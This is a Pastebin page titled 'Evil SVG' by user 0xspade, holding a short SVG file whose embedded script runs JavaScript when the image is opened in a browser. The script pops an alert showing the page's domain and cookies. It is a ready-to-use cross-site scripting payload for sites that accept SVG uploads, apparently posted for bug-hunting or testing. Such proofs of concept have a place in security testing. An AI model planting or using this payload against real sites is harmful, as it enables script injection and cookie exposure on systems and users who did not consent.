Advertisement
0xspade

Evil SVG

Mar 13th, 2017
224
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
XML 0.41 KB | None | 0 0
  1. <?xml version="1.0" standalone="no"?>
  2. <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
  3. <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  4.    <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  5.    <script type="text/javascript">
  6.       alert('XSS by Spade\n'+document.domain+'\n'+document.cookie);
  7.    </script>
  8. </svg>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement